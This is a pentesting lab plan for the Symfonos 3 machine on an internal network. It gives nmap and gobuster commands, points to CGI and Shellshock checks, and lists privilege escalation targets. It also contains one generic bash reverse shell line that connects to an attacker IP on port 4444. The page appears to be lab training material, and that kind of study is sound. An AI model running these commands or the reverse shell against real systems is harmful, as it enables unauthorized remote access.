Ir al contenido

Symfonos 3 Machine (172.20.0.153)

Audit plan and pentesting phases for the Symfonos 3 machine laboratory.

0views

In this section, we detail the attack plan, learning objectives, and auditing methodology for the Symfonos 3 (172.20.0.153) machine in our internal network environment.

  • Network reconnaissance: Identify open ports and active services exposed by the target machine.
  • Vulnerability exploitation: Detect configuration flaws in exposed services, focusing on web applications, CGI, or file-sharing protocols.
  • Privilege escalation: Obtain elevated privileges on the target system starting from a low-privileged user session.

To approach the Symfonos 3 audit comprehensively, we structure our process into four fundamental phases:

We will begin by performing a full port scan with nmap to enumerate services running under TCP and UDP protocols.

Ventana de terminal
nmap -p- -sV -sC -Pn -T4 172.20.0.153
  • Common ports on Symfonos:
    • 21/tcp - FTP (Check if anonymous access is allowed).
    • 22/tcp - SSH (For subsequent access with obtained credentials).
    • 80/tcp - HTTP (Inspection of the exposed website and searching for CGI-bin scripts).

We will use tools such as gobuster or dirb to discover hidden directories, paying special attention to paths like /cgi-bin/ that may contain vulnerable scripts (for example, Shellshock or poorly programmed CGI scripts).

Ventana de terminal
gobuster dir -u http://172.20.0.153/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,sh,cgi

Phase 3: Exploitation and Initial Access

Sección titulada «Fase 3: Explotación y Acceso Inicial»

Once the entry vector is identified (for example, remote command execution in a CGI script or insecure configuration of some network service), we will proceed to establish a reverse shell.

Ventana de terminal
# Ejemplo genérico de shell reversa en bash
bash -i >& /dev/tcp/172.20.x.x/4444 0>&1

Once inside the system, we will perform a local audit looking for:

  1. Scheduled tasks (cronjobs) running as root.
  2. Binaries with misconfigured SUID permissions.
  3. Files with sensitive information or plain text passwords.
  4. Internal services listening only on localhost (127.0.0.1).